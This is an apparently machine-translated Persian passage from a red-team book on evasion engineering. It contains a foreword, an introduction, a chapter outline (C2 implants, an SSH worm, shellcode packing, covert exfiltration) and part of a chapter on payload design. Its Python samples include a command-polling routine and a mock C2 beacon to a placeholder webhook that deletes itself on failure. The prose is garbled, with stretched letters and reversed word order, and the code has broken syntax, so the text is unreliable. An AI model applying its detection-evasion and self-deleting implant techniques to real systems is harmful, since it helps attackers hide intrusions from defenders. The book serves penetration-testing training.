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 گفتار پیش 
 واقعا   که معدودی فردمنحصمربه هایدیدگاه  توسمط ما  صمنعت  دهد،می  ادامه تکامل به  سمایبری  امنیت  اندازچشمم که طورهمان

 همکارش و Dennis Chow تأثیرگذار،  صمداهای  این  میان  در. شمودمی  تقویت و گیردمی شمکل  هسمتند  متعهد  آن  پیشمبرد به

Michael LaSalvia ،است گذاشته  امنیتی جامعه بر  ماندگار و معنادار اینشانه هایشانمشارکت که متخصصانی  هستند. 

 Detection همایبرنماممه کمه  حمالی در  بشمممممنماسمممممم را Dennis کمه امداشمممممتمه  را  افتخمار این من گمذشمممممتمه، سمممممال  چنمد در

Engineering و Threat Detection او به  او  دفاعی و  تهاجمی تخصمممص  نادر  ترکیب. کندمی متحول و رهبری را ما 

 اندازطنین  اطرافیانش با عمیقا    که  دهد  ارائه  عملی  هایحلراه و هابینش  سازدمی  قادر  را  او  که  است،  داده متمایز دیدگاه یک

 .شودمی

 پیچیده فناوری به دسمترسمی و کنندمی حرکت ایسمابقهبی سمرعت با مهاجمان آن در که مصمنوعی، هوش جدید عصمر این  در

 تهدیدهای اینکه درک. اسمت نبوده حیاتی قدراین هرگز دشممن رفتار  درباره  شمفافیت به نیاز اسمت، نبوده آسمان  قدراین هرگز

 دیگر باشممممند شممممدهآزموده نبرد میدان در هم و آزمایش قابل  هم که هاییدفاع  سمممماختن و  کنندمی عمل چگونه واقعی دنیای

 مرزها  مداوم و بخشد،می تجسم  را فکر  طرز  این Dennis .هستند موفق  مدرن امنیتی برنامه هر پایه  هاآن  نیستند؛ اختیاری

 .یابندمی تکامل هستیم روبرو هاآن با که تهدیدهایی سرعتبه ما هایدفاع که شود حاصل اطمینان تا کندمی جاجابه را

  تکیمه  عموم  دسمممممترس  در  ابزارهمای  بمه  دشممممممنمان.  شمممممونمدمی  آزممایش ممداوم  طوربمه  تهمدیمد بر  مبتنی واقعما    امنیتی  همایبرنماممه

 باید مدافعان تغییر، حال در همیشممه  اندازچشممم  این در.  دهندمی توسممعه را  خود ابزارهای و  کنندمی نوآوری  هاآن  کنند؛نمی

 .بگنجانند خود هایکنترل مؤثر ارزیابی برای را جدیدی  هایتکنیک و کنند اتخاذ را مهاجم فکر طرز

 و Dennis ترکیبی  هایاسمتراتژی اوج  نمایانگر  کتاب  این. اسمت فنی اسمتفاده  موارد مجموعه  یک  از  بیش چیزی  کتاب  این

Michael، با را  فرار رویکردهای تا  کندمی مجهز  را مدافعان  کتاب  این. اسممت  نگرآینده  الزامات و  عملی،  صممنعتی تجربه 

 به صمفحات این سمراسمر  در که دانشمی نفوذ،  کنندهتسمت  یک  چه و  باشمید  امنیتی تحلیلگر یک چه. کنند متعادل  مؤثر  تشمخیص

 .کنید ارزیابی و  تطبیق مؤثرتری طوربه را  امنیتی هایکنترل  کندمی کمک شما به شده گذاشته اشتراک

Mustapha Kebbeh 

 UKG امنیتی، ارشد مدیر

  



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
9 

 مقدمه 
  نشمممممانگرهای  و  رفتارها که  بوده مدافعانی و  قرمز  تیم  اپراتورهای  بین موش و گربه امانبی بازی یک  امنیت گذشمممممته  دهه

 و  هسممتند، مجهز  پذیرمقیاس و پیشممرفته  تهدید  تشممخیص  ابزارهای به حالا  مدافعان. دهندمی  تشممخیص  را  تهاجمی هایفعالیت

 شمدهاسمتفاده بارهای  تغییر حتی.  دهندمی دسمت از  را خود  فرار مزایای  سمرعتبه  نتیجه  در قرمز هایتیم و نفوذ  کنندگانتسمت

 .بمانند پنهان تا نیست کافی هاآن برای قبلی

 با  تهدید هایگروه. اسمت کرده  اجبار را مهاجم  گریایحرفه  در اسمتراتژیک  تکامل یک  همچنین تشمخیص ابزار هایپیشمرفت

 و  ها،تکنیک  ها،تاکتیک و سمازندمی C خانواده  از خارج هاییزبان  از اسمتفاده با ابتدا  از را  سمفارشمی  بارهای  حالا بالا  تأثیر

. کنندمی سممممازیبهینه اکتشممممافی و امضمممما بر مبتنی هایتشممممخیص از  فرار برای خاص  طوربه را خود(  TTP) هایرویه

( Star Blizzard بمه  معروف)  COLD RIVER و( ALPHV بمه  معروف)  BlackCat  مماننمد  توجهی قمابمل  تهمدیمد  همایگروه

 مهندسممی و شممناسممایی قوی طوربه را  هاآن  بارهای  بتوانند  محققان اینکه  از قبل کردند فعالیت تشممخیص بدون  سممال  یک تا

 .کنند  معکوس

 و هابرداریبهره  باید همیشمممه  تقریبا   امروزی  تهاجمی  امنیت متخصمممصمممان  ،engagement  عطف  نقاط به  رسمممیدن برای

 این شمموند،  افشمما مشممتریان به  engagement از پس  توجیهی جلسممات  در که  هنگامی.  دهند  تغییر شممدتبه  را خود بارهای

 نیازمند مدرن  هایengagement. شوندمی  استفاده  غیرقابل آینده عملیات  برای و شوندمی  داده تشخیص  سرعتبه  ابزارها

 را عملیات چندین  در  TTP بر  مبتنی  مجدد اسممتفاده  قابلیت و کنند  فرار  تشممخیص  از  ترطولانی که هسممتند ابزارهایی و بارها

 .دهند ارائه

 ما هدف سموزانید،می engagement یک در  که دیگری ابزار مجموعه  دادن جایبه. شمودمی  وارد  کتاب  این که  اینجاسمت

  ابزارهای چگونه کرد  خواهیم بررسی ما.  است  مدافع هایقابلیت  گرفتن نظر  در با سفارشی  بارهای توسعه  در شما  به  کمک

  حداقل به  را  انگشممت  اثر برای  آسممان  مصممنوعات و ایسممتا  امضمماهای که بسممازیم و  طراحی را  رایج  هایTTP برای کامل

  هایی مهارت شمما  ها،آزمایشمگاه  در  اصمول بر تسملط با(.  LOLBins) زمین  در زندگی  هایباینری  از اسمتفاده بدون برسمانند،

 .آورد خواهید دست به نشانگر سازیمبهم بر تکیه جایبه رفتاری سطح در تشخیص از اجتناب برای

 است کسانی چه  برای کتاب این
 شممما. هسممتند قرمز تیم ماهر اپراتورهای به  شممدن تبدیل دنبال به که  شممده گرفته نظر  در  نفوذی  کنندگانتسممت برای  کتاب  این

 را بهره بیشترین تا باشید داشته را شبکه و  ،Linux ابر، وب، هایفناوری  برای وظایف خودکارسازی و استفاده تجربه باید

 کار  نحوه درباره ارزشممممندی  هایبینش هسمممتید، آشمممنا  امنیت هایحوزه  سمممایر با  قبل از  اگر حتی.  ببرید  آزمایشمممگاه هر  از

TTPدهندهارائه چندین از  ایگسمترده اسمتفاده  همچنین  هافصمل.  آورد خواهید دسمت  به  ترعمیق بسمیار  سمطح در مختلف  های  

 .بخوانید را پیوست حتما   ندارید، تجربه کدامهیچ در اگر. دارند Go  نویسیبرنامه زبان و ابری
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 نیست  کسانی چه  برای کتاب این
  هستید،   نویسیاسکریپت و وب، ابر، سازمانی، هایسیستم  در محدود  عملی  هایمهارت با مبتدی  مهندس یا تحلیلگر یک اگر

 هایفعالیت درک برای  که  بنیادینی  هایفناوری یا  عامل،سمیسمتم  صمحنهپشمت مفاهیم کد،  تفسمیر ما.  نیسمت  شمما برای  کتاب  این

 از  قبل باید و اند،شمده  داده  پوشمش دیگر  منابع  از  بسمیاری  در موضموعات این. دهیمنمی پوشمش را هسمتند  حیاتی  فصمل هر

 .باشید داشته تسلط هاآن بر اینجا  هایآزمایشگاه برای تلاش

 است شده سازماندهی کتاب  این چگونه 
 بارها بندیمحدوده و طراحی  اصمول قرمز تیم  مبانی:  اول بخش. اسمت شمده  سمازماندهی  بخش  3 در  فصمل  10 در  کتاب  این

 .دهدمی پوشش را بلندمدت اثربخشی برای

 ایجاد: کندمی معرفی عملی توسممعه  هایتکنیک  طریق  از را( اطمینان  قابلیت و  مجدد، اسممتفاده  قابلیت اسممتحکام،« )R  سممه»

 الزامات،  هایماتریس

 سممماختن و ،(C2)  کنترل و  فرمان زیرسممماخت برای  هویت  احراز  سمممازیپیاده  اسمممتثنا، مدیریت  با ماژولار  توابع  طراحی

 .ابتدا از بازنویسی جایبه پیچندمی را موجود ابزارهای که ایچندمرحله بارهای

 آنتروپی،کم سمفارشمی رمزنگاری بندی،زمان سمازیتصمادفی طریق از را تشمخیص از  فرار  فرار هایاسمتراتژی:  2  فصمل

  انتخاب  و کد،  امضمای فایل،  اسمتراتژیک  پرکردن  پوسمته،  فرایندهای از اجتناب برای  سمیسمتمی  فراخوان بر  مبتنی  شممارش

 .کندمی بررسی قانونی پزشکی تحلیل تأخیر برای زبان

 .کندمی تمرکز عملی هایآزمایشگاه در هاTTP سفارشی توسعه بر عملی فرار ابزار توسعه: دوم بخش

 از اسممممتفاده با  را ابر بر  مبتنی شمممممارش چگونه دهدمی آموزش شممممما به ترافیک  مسممممیر  تغییر با  شمممممارش:  3  فصممممل

CloudFormation  اسمکنرهای اسمتقرار برای Lambda هایپروکسمی و  EC2 با  شمدهفعال Tailscale و  کنید، خودکار 

 .چرخانندمی را هاIP هانمونه مجدد اندازیراه با که AWS  هایاسکریپت  همچنین

 جاسازی  ها،فرمان  بندیصف  برای  GCP Firestore  با  C2 Go ایمپلنت یک کنترل  و  فرمان هایایمپلنت توسعه:  4  فصل

  جایگزینی )  کنندمی اجتناب  پوسممته  ایجاد از  که سممفارشممی هایفرمان سممازیپیاده  اعشمماری،  رمزگذاری  طریق  از اعتبارنامه

LOLBins هایبسته با Go)، دهدمی شرح جزئیات با را تشخیص از فرار برای تصادفی نظرسنجی از استفاده و. 

 کند،می راهنمایی هامحافظ با SSH Go کرم یک سممازیپیاده از را شممما هاکرم با جانبی هایبرداریبهره ایجاد:  5  فصممل

  بما  اعتبمارنماممه  اسمممممپری مجمدد،  عفونمت از جلوگیری برای  mutex همایفمایمل  پمایمه،  فرار برای  honeypot  تشمممممخیص  مماننمد

backoff  ،شدهرمزگذاری بارهای نمایی Base64، عملیاتی کنترل حفظ برای خودخاتمه  تایمرهای و. 
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 که Go بر مبتنی ابزار پنج با را  رایج  LOLBins چگونه دهدمی نشممان شممما به LOLBins بدون محلی شمممارش: 6  فصممل

  گروه /کاربر شممارش  اجرا، زمان  کتابخانه طریق  از عاملسمیسمتم  تشمخیص: کنید  جایگزین  کنندمی اجتناب  پوسمته  اجرای  از

 .gopsutil با فرایندها فهرست و فایروال،/شبکه شمارش میزبان، نام استخراج ،LDAP وجوهایپرس طریق از

 که  دهدمی  پوشممش  را  ایمرحلهسممه  ترکیبی  بندیبسممته کار گردش یک  ترکیبی بندیبسممته با تشممخیص زدن  دور:  7  فصممل

 متنی هایفایل در IPv4  هایآدرس  عنوانبه و  فشمممرده را  آن کند،می  تبدیل shellcode  به Donut با  را اجرایی  هایفایل

 .کندمی اجرا فایل بر مبتنی تشخیص از فرار برای حافظه در  مستقیما   را شدهسازیمبهم بار  سپس و کند،می پنهان ضرربی

 تشممخیص و( DLP)  داده  دادن دسممت  از  از جلوگیری  چگونه  دهدمی نشممان  داده  پنهانی اسممتخراج و  سممازیصممحنه:  8  فصممل

 را بارها کند،می سممازیصممحنه  CAB هایفایل  در  را داده  که  پنهانی  اسممتخراج  لوله خط  یک طریق از  را امضمما بر  مبتنی

  تأیید  با  را هافایل سممپس و  کند،می پنهان و  تکهتکه هگز به  شممدهرمزگذاری  GCP Cloud Logging هایورودی  عنوانبه

 .بزنید دور کند،می بازسازی و  بازیابی  یکپارچگی

 را  دوم بخش  هایآزمایشمگاه  در یافتهتوسمعه ابزارهای تشمخیص  برای  دفاعی  هایمکانیزم اعتبارسمنجی و تسمت: سموم بخش

 .کندمی توصیف

 هایبسته شناسایی برای Go  داخلی  زداییاشکال قابلیت  از که Go باینری  تحلیلگر یک تشخیص  ابزارهای ساختن:  9  فصل

  تشممخیص   برای فایروال  هایگزارش روی  را آماری تحلیل  که  پایتون شممبکه  دهندهتشممخیص یک و  کندمی اسممتفاده  مشممکوک

beaconing،  ،ترافیک و اسکن C2 کندمی ترکیب را کندمی اعمال مصنوعی شدهتصادفی. 

 IAM Lambda عملیات که دهدمی نشمممان را CloudFormation هایقالب شمممدهکنترل افشممماهای  اجرای:  10  فصمممل

  معیارهای  ،CloudTrail  طریق  از  را  تشمممخیص و  کنند،می  سمممازیشمممبیه EC2 روی را  افزارباج  هایTTP و  مشمممکوک

CloudWatch، کنندمی  آزمایش آنتروپی بر  مبتنی فایل  پایش و. 

 .کندمی راهنمایی کتاب سراسر در شدهاستفاده هایپلتفرم و ابزارها با خود توسعه محیط اندازیراه از را شما  پیوست یک

 قابل  https://github.com/dc401/nostarch-evasion-engineering  در  کتاب این  هایآزمایشمگاه تمام کامل کد

 .است دسترسی
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 قرمز  تیم   مبانی اول بخش
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 برنامه  توسعه و  طراحی اصول 1
 

  ماژولار   افزودن  برنامه،  ورود  نقطه تعریف شمامل  دهد،می پوشمش را برنامه توسمعه و  طراحی  پایه  اصمول برخی  فصمل  این

  های موجودیت  توسممط  سمموساسممتفاده  از خود  بارهای و  زیرسمماخت  سممازیایمن و  اسممتثناها،  مدیریت توابع،  طریق  از بودن

 از  پس  ابزارهمای  آیما  بگیرد  تصممممممیم  کنمد  کممک  شممممممما  تیم  بمه  تما  کرد  خواهیم  بحم   را  ملاحظماتی  همچنین  مما.  غیرمجماز

 .دهید تغییر را موجود موارد یا دهید توسعه ابتدا از را برداریبهره
 هر و  هسمتیم،  متمرکز آزمایشمی موارد ایجاد بر  معمولا    ما. هسمتیم مجرم  ضمعیف  توسمعه هایشمیوه به  امنیت در ما  از  بسمیاری

 قرمز تیم  بارهای توسعه. کندمی  ادغام  را  قوی  قبل  از و موجود هایبرنامه  و هاسیستم  معمولا   سازیممی  که  ایخودکارسازی

 کار و سمر«  R  سمه» با  آن جایبه باید ما که  معنا  این به هاسمتبرداریبهره و  سمیسمتم  خودکارسمازی  توسمعه  از  متفاوت کمی

  ذهن  در  باید  کدنویسی شروع هنگام که  هستند  الزاماتی  هااین.  اطمینان قابلیت و  مجدد،  استفاده قابلیت اسمتحکام،: باشمیم  داشمته

 .بگذرانیم دهندهتوسعه یک هایکفش در اضافی وقت کمی باید هاآن به رسیدن برای و باشیم، داشته

 از بسممیاری  برای اسممت  ممکن که کندمی اسممتفاده  برنامه توسممعه فکر طرز یک  از  کنیممی  بح  بخش این  در که رویکردی

  بلندمدت   هایحلراه ما  باشمید  داشمته یاد به  که  اسمت مهم. برسمد نظر به غیرشمهودی قرمز تیم جدیدتر  اعضمای و  کنندگانتسمت

 .موقت هایبرداریبهره نه کنیم،می ایجاد مجدد استفاده قابل و

  شمروع   فورا   و  کنندمی شمروع اسمتفاده مورد هدف یا  اولیه ایده  یک با  کنندگانتسمت از بسمیاری. باشمد  طراحی باید اول  مرحله

 خود کد  کردن  ماژولار  در یا  اندانداخته جا  را  حیاتی هایویژگی  شمممموند متوجه بعدا   اینکه برای فقط  کنند،می  کدنویسممممی به
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 طراحی و  الزامات طرح  یک با باید  این، از جلوگیری برای. کنند  بازنویسمممی  کاملا    را  آن  باید حالا و اندخورده  شمممکسمممت

 .کرد خواهیم راهنمایی فرایند آن طریق از را شما ما بخش، این در.  کنید شروع

 الزامات آوریجمع  و   استحکام
 یا هدف یک با اسمتفاده مورد هر. کندمی تضممین را ابزار یک  از  بلندمدت اسمتفاده که اسمت، اسمتحکام بار، توسمعه R  اولین

 برای(  C2)  کنترل  و  فرممان  ایمپلنمت  یمک  سممممماختن  برای  همدفی  اسمممممت  ممکن  مثمال،  برای.  شمممممودمی  شمممممروع  مقصمممممود

engagementشمممبیه رویکردی  دهندگانتوسمممعه  از  بسمممیاری. باشمممید داشمممته آینده  های Agile ایجاد با epicو ها user 

storyکنندمی اتخاذ  خود ریزیبرنامه از بخشمی  عنوانبه ها  .Epicشموند،می گرفته نظر در  اصملی انتشمارهای  عنوانبه ها 

 .کنندمی رسانیاطلاع را epic یک درون وظایف که هستند الزاماتی یا هاویژگی هاuser story که حالی در

  هممدف  بیممانیممه  یممک  ایجمماد  برای  epic  یممک  ایممده  از  توانیممدمی  قرمز،  تیم  الزامممات  آوریجمع  بممه  رویکرد  این  ترجمممه  بمما

 برای  شمدهطراحی  حداقلی C2 سماخت یک: »باشمد  این  تواندمی شمما  هدف  بیانیه  ،C2 مثال  برای.  کنید اسمتفاده محورمحصمول

 الزامات  از بخشممی  عنوانبه.« عاملسممیسممتم پوسممته  هایفرمان  اجرای برای  x86-64 با سممازگار Windows هایماشممین

 :کنید ایجاد هااین مانند هاییuser story توانیدمی سپس خود، طراحی

 .دارد نیاز خودش پوسته به فرار از بخشی عنوانبه C2  مکانیزم قرمز، تیم اپراتور یک عنوانبه •

 .شود  شامل  را شبکه  روی  Transport Layer Security (TLS)  رمزنگاری باید C2  مکانیزم  کننده،تست یک  عنوانبه  •

 .دارد نیاز خود خودکار پاکسازی برای اجرا زمان در تعریف قابل  تایمر یک به  C2  مکانیزم  کننده،تست یک عنوانبه •

user storyماتریس   یک.  دهند  قرار  تأثیر تحت را شمما  توسمعه و  طراحی  رویکرد توجهی قابل طوربه  توانندمی شمما های  

 از هااولویت  عنوانبه  را  الزامات این کند  کمک شما  به  تواندمی  است، شده  داده نشان  1-1  جدول  در که طورهمان  الزامات،

 را  خود دوام  قابل  حداقل  اهداف  توانیدمی  ماتریس، از اسمممتفاده با. کنید بندیبازقالب(  ROI)  منابع سمممرمایه  بازگشمممت نظر

 .کنید ریزیبرنامه آینده یا فوری انتشار یک برای و  کنید  بندیاولویت
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 بمازه  یمک  کمه دهیمدمی اختصممممماص  اولویتی هماآن بمه و  کنیمدمی خلاصمممممه را خود  ویژگی الزاممات خود، الزاممات  مماتریس در

 مجدد اسمتفاده  قابل  مصمنوع یک  عنوانبه را بار شمما  چون اسمت مهم هدف  افق.  دهدمی نشمان  را توسمعه برای  معقول زمانی

 .ساخت خواهید دهیدمی ادامه آن توسعه به و  کنیدمی نگهداری که

 موجود فنی اسمتعداد و هامهارت به باید اینجا،. بروید خود طرح طراحی  مرحله به  هسمتید  آماده خود، پایه  الزامات  ترسمیم با

 .کنید تعیین را داده و اجرا هایجریان  ترینمحتمل تا  کنید تکیه خود

 با را  هااین. اسممت  حیاتی  اجرا و تعامل،  خارجی،  هایوابسممتگی بودن،  ماژولار مانند  عواملی  تعیین برای  شممما بار  طراحی

 .کنید برآورده را نظر مورد استفاده مورد تا کرد خواهید  ترکیب خود نهایی الزامات

 کدی  توابع تمام تا  کنید  اضمافه  را  جزئیات سمپس و  کنید بالا سمطح معماری  یک تجسمم  به  شمروع توانیدمی  ،C2 مثال  ادامه با

 مورد طراحی و معماری است ممکن چگونه دهدمی نشان 1-1 شکل. کنید روشن را داشت  خواهید  نیاز توسمعه طول  در که

 .کنید آپماک را خود نظر

 

 پایه  C2  اجرای جریان یک: 1-1 شکل
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 از  را شمما الزامات  که  کنید اسمتفاده این مانند  بالا سمطح نمودار یک ایجاد  برای  مشمابه برنامه یک یا  draw.io  از  توانیدمی

 و  کنترل  جریان  تصممیمات به  کدنویسمی شمروع هنگام بعدا   اسمت  ممکن  که شمودمی شمامل  را  منطقی و کندمی  ثبت 1-1  جدول

  گیری جهت برای  را زیرروال جزئیات  توانیدمی  دارند،  بیشمتر  تحقیق به نیاز که  دارید  ایپیچیده توابع اگر. کنید ترجمه  توابع

 و  بازبینی  هنگام زنده سمند یک  عنوانبه  باید و  اسمت  پیشمنهادی  نویسپیش  یک فقط حالا  برای نمودار این. کنید  اضمافه  اضمافی

  اثبمات  یمک نمه کرد خواهیمد  نگهمداری  کمه  کنیمد فکر چیزی  عنوانبمه خود  ابزار  توسمممممعمه بمه.  کنیمد رفتمار  آن بما خود کمد انتشمممممار

 .ساده  مفهوم

 ماژولار   کدنویسی  و   مجدد استفاده قابلیت
 جایبه کنید اسممممتفاده دوباره را خود کد  از  هاییبخش توانیدمی که معنا این به اسممممت، مجدد اسممممتفاده قابلیت R دوم  اصممممل

 بزرگ  اسمکریپت یک به گاهی  نویسمیممی  امنیت متخصمصمان  عنوانبه ما که کدی. تکرار  هر در  ابتدا از شمروع  یا  بازنویسمی

. کنیمنمی اسمتفاده کد اصملی  بدنه از نیاز صمورت  در  هاآن  فراخوانی و  توابع ایجاد توانایی از ما  از بسمیاری. شمودمی تبدیل

 از بسمممیاری که کدنویسمممی رویکرد اما شمممود، گرفته نظر در «پایین به بالا از» باید عموما    اجرا جریان که اسمممت درسمممت

  خواهیم نمی شما  از ما. کند  دشوار  را  جدید هایویژگی  کردن  اضافه یا کد بازبینی تواندمی  کنندمی  استفاده  امنیت  متخصصان

 شوید، کامل  دهندهتوسعه یک

 کردن ماژولارتر برای  عالی  راه  یک توابع کردن  اضمافه. کنید  وارد خود  کدنویسمی سمبک به  سماختار  مقداری  حداقل باید اما

 .است آن ترآسان  بازبینی و  مدیریت  بنابراین و شما کد

 که کندمی شمناسمایی فرایندی  عنوانبه  را جدید  هایفرمان برای  صمف نظرسمنجی  1-1 شمکل  در  طراحی  ،C2 مثال  ادامه با

 از  که دارید  هاییروال  از  مکرر اسممتفاده به نیاز که  زمان هر  تابع یک ایجاد. باشممد تابع  یک  برای خوبی کاندیدای  تواندمی

 است،  دشوار  برایتان  عملکردی هایگروه  اساس بر  هاروال ریزیبرنامه  اگر.  است مفید  کنندمی  پشتیبانی  اصلی ویژگی یک

 در منطقشمبه  1-1 فهرسمت مثال، برای.  بپیچید تابع  نحو  در  را آن  سمپس و  کندمی کار که  بنویسمید  کدی ابتدا  بگیرید  نظر  در

 .دهدمی نشان را Amazon Web Services (AWS) سرویس صف یک از هافرمان نظرسنجی برای x.3 پایتون قالب

 #AWS SDK library boto3 

import boto3 

client = boto3.resource(′sqs′) 

def poll_commands(qname): 

queue = sqs.get_queue_by_name(QueueName=qname) 

qmsg = queue.receive_messages(some_json_filter) 
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command = qmsg.message.body 

qmsg.delete)( 

return str(command) 

 #Call the command and return results. 

commands_to_run = poll_commands(′my_queue_name′) 

 AWS SQS صف یک از هافرمان  نظرسنجی: 1-1 فهرست

  یک —کند  مدیریت را کنترل جریان  تغییرات و کند  نظرسمنجی جدید  هایفرمان برای مکررا    اجرا  زمان در باید  C2 کد  این

 .شود تکرار مکررا   اینکه تا شودمی کپسوله تابع یک در کارآمدتر صورتبه که تکراری فرایند

  عنوانبه  main تابع. کنیم بح  را main تابع مفهوم مختصمر طوربه باید بپردازیم، R سمه از مورد آخرین به اینکه  از قبل

  تعریف   را  برنامه  کلی  اجرای جریان و کندمی  هماهنگ را توابع سممایر  کند،می  عمل برنامه  یک مرکزی هاب و ورود نقطه

 .کندمی

 با مجدد اسمتفاده قابل ماژول یک  عنوانبه هم و  مسمتقل  اسمکریپت  یک  عنوانبه  هم که  بنویسمید کدی  توانیدمی  ،x.3  پایتون  در

 double»  مخفف)  dunder  عنوانبممه  کممه  کنممد،  کممار__″  name__ == ″__main__  ویژه  دسمممممتور  از  اسمممممتفمماده

underscore )»تابع یک  عنوانبه دسممتور این  از  توانیدمی. شممودمی شممناخته  main فراخوانی را دیگری  تابع  که سمماده  

 .است شده داده نشان 2-1 فهرست در که طورهمان کنید، استفاده  کندمی

def calc_triangle_area(base, height): 

return 0.5 * base * height 

if __name__ == ″__main:″__ 

base = 6 

height = 4 

area = calc_triangle_area(base, height) 

print(f″The area of the triangle with base {base} and height {height} is: {area}″) 

 main تابع بخش یک از)( calc_triangle_area تابع فراخوانی: 2-1 فهرست



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
18 

  هماآن  خماص،  طوربمه.  دهمدمی  نشمممممان  را  main  توابع  نقش  فقط این  نیسمممممت؛  مهم  اینجما  دهمدمی  انجمام  کمد  این آنچمه  جزئیمات

 در. کنندمی ترآسان را شما هایبرنامه درون مختلف  توابع  هماهنگی و سازماندهی

  یک   عنوانبه  را خود  اسمکریپت دهدمی  اجازه  شمما به همچنین  main تابع  یک  عنوانبه dunder دسمتور از اسمتفاده  پایتون،

 .کنید فراخوانی و وارد دیگری اسکریپت از ماژول

 استثنا مدیریت  و   اطمینان قابلیت
  بهبود  به دقیق ریزیبرنامه و  کدنویسممی خوب  هایشممیوه که  حالی  در. اسممت اطمینان  قابلیت برنامه توسممعه R  اصممل  آخرین

 نظر در  را شمممممود اجرا  زمان خطماهای باع   اسمممممت ممکن که  ممکنی  رویداد هر  توانیمدنمی  کننمد،می  کممک  اطمینمان قابلیمت

.  کنیمنمی گذاریسمرمایه  آن در  زیادی  تلاش  امنیت  صمنعت  در ما  از  بسمیاری که اسمت دیگری حوزه  اسمتثنا  مدیریت.  بگیرید

 روی  شممما  کد  اینکه احتمال  آن  به وقت اختصمماص اما.  نیسممت  اسممتفاده مورد  این برای  کدنویسممی  بخش  انگیزترینهیجان  این

 .دهدمی افزایش را شود اجرا  موفقیت با هاسیستم از  متنوعی مجموعه

 با که  مشمکلاتی  ترینشمایع باید اما باشمد،  گسمترده تجاری  افزارنرم  قدربه  نیسمت نیازی  شمما برنامه  توسمعه  در  اسمتثنا  مدیریت

 را  اتصمال  شمکسمت شمرایط که برگردید، 1-1 شمکل از C2 طراحی مثال به.  دهید  قرار توجه مورد را  شمویدمی روبرو  هاآن

 خروجی  اتصممال یک  سممازیشممبیه برای  رایج هایکتابخانه از که  دهدمی  ارائه  پایتون مثال یک 3-1  فهرسممت. شممدمی  شممامل

 .کند حذف دیسک از را خود و یابد خاتمه  تمیز طوربه بتواند اسکریپت تا کندمی اضافه  استثنا  مدیریت و  کندمی استفاده

/!#usr/bin/env python3 

import requests 

import os 

import sys 

import time 

def self_delete:)( 

try: 

os.remove(sys.argv[0]) 

except Exception as e: 

print(f″Failed to delete the script: {e}″) 

sys.exit (1)  
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def attempt_connection(max_retries): 

 #Public-facing mock event handling using webhooks 

url = ″https://webhook-test.com/YOUR-UNIQUE-SESSIONID″ 

payload = {″message″: ″TEST MESSAGE 2 FOOBAR T″} 

for attempt in range(max_retries): 

try: 

response = requests.post(url, json=payload, timeout=10) 

response.raise_for_status)( 

print(″Request successful″) 

return True 

except requests.exceptions.RequestException as e: 

print(f″Attempt {attempt + 1} failed: {e}″) 

if attempt < max_retries - 1: 

print(″Retrying in 5 seconds...″) 

time.sleep (5)  

else: 

print(″Max retries reached. Exiting.″) 

return False 

if __name__ == ″__main:″__ 

max_retries = 3 

if not attempt_connection(max_retries): 

self_delete)( 
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 استثنا  مدیریت با C2 مثال یک سازیشبیه: 3-1 فهرست

  طریق   از اطمینان  قابلیت لایه یک اما  کندمی اسمتفاده  2-1 فهرسمت از ماژولار  توابع و main تابع سماختار همان از کد  این

 کد هر  برای  مدیریت و مجدد، تلاش زیرروال یک ،(TCP  اتصممممال مسممممائل  مانند)  رایج  مشممممکلات برای اسممممتثنا  مدیریت

 به که  شمودمی شمامل)(  self_delete تابع  یک همچنین.  کندمی  اضمافه  2xx  اسمتاندارد محدوده از خارج  HTTP وضمعیت

 با اگر کند حذف خروج  از قبل دیسمک  از را  خود فایل و  دهد ارجاع خودش به  دهدمی  اجازه اجرا  حال  در  پایتون  اسمکریپت

 یک که دهد رخ زمانی تواندمی که دهدمی  نشممان را تأخیری  2-1 شممکل.  شممود  روبرو beacon  در  حیاتی هایشممکسممت

 .دارد بار  آمیزموفقیت تحویل برای  استثنا مدیریت از استفاده با مجدد تلاش چندین به نیاز ناپایدار اتصال

 

 استثنا  مدیریت با 3-1 فهرست از اجرا  زمان  خروجی: 2-1 شکل

  اختلالات  رسمیدگی، برای  اصملی هایحوزه  کنید؛  اضمافه  اسمتثنا  مدیریت  ایلبه حالت هر  برای  نیسمت نیازی  توسمعه، طول  در

 برخی. هسممتند شممما  کنندهدریافت  کنندهمدیریت و ،C2  ایمپلنت میزبان  اجرای زمان شممبکه، روی محتمل خطاهای و بزرگ

 اللفظیتحت مقادیر جایبه کد  عنوانبه  کنترل یا  فرار کاراکترهای پردازش  شممممامل  دارند  مدیریت به نیاز که  رایج شممممرایط

 و  نمایی،  backoff تایمرهای با  گمشممممده  شممممبکه  مجدد  تلاش  هایمکانیزم پوسممممته، فرایندهای یا  خارجی  هایفرمان برای

 .است شوندمی ایمپلنت کل خاتمه باع  که زیرفرایندهایی یا خارجی هایفرمان از ناشی خطاهای

 برنامه توسعه  هایشیوه  بهترین سایر

 معطوف باشمید داشمته ذهن در برنامه توسمعه فرایند طول در باید که  اضمافی  ملاحظات برخی  به R سمه  از  را خود توجه حالا

 .کنیممی
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 نحوی  قراردادهای و  گذارینام استانداردهای اتخاذ
 مهم بنابراین کند،می اضممافه جدید هایویژگی یا  وصممله را شممما  اصمملی کد که کرد  خواهید کار  تیم یک در  زیاد احتمال به

 جدول. متغیرها و توابع برای ویژهبه کنید، اسمتفاده نحوی قراردادهای و  گذارینام  اسمتانداردهای همان  از شمما همه  که اسمت

 .کندمی فهرست را ترجیحی استاندارد نحو همچنین و شد خواهید روبرو هاآن با که رایجی  تغییرات برخی 1-2

 گذارینام مرجع استانداردهای: 2-1 جدول

 استاندارد  تغییرات مرجع  نوع

 )(Myfunction  توابع

my_function)( 

myFunction)( 

 SomeVar  هاثابت و  متغیرها

That_Var 

my_variable_name 

 کنید انتخاب اسمت ممکن و کنید، اتخاذ را هاآن و برسمید توافق به  عناصمر این  قراردادهای مورد  در  حداقل باید  تیمتان و شمما

 سمریع توسمعه طول  در  توانندمی حد  از  بیش  قراردادهای  که باشمید  داشمته خاطر به  حال،  این با.  کنید  اضمافه  را دیگری موارد

 هایlinter  توانیدمی بعدا   نیاز،  صممورت در و اسمت،  ترمدیریت قابل ابتدا  در محدود  دامنه  با شمروع.  شموند گیر  پا و دسمت

 .بنویسید  کنیدمی تعیین که استانداردهایی برای( کنندمی اعتبارسنجی را کد سبک و قالب که  کمکی ابزارهای) نحوی

 گزارش  کنندهثبت  یک کردن اضافه
 در. کند  کمک توابع  تعاملات  یابیعیب در شممما  به  تواندمی گزارش  کنندهثبت یک  نیسممت،  الزامی قوی بار یک برای  اگرچه

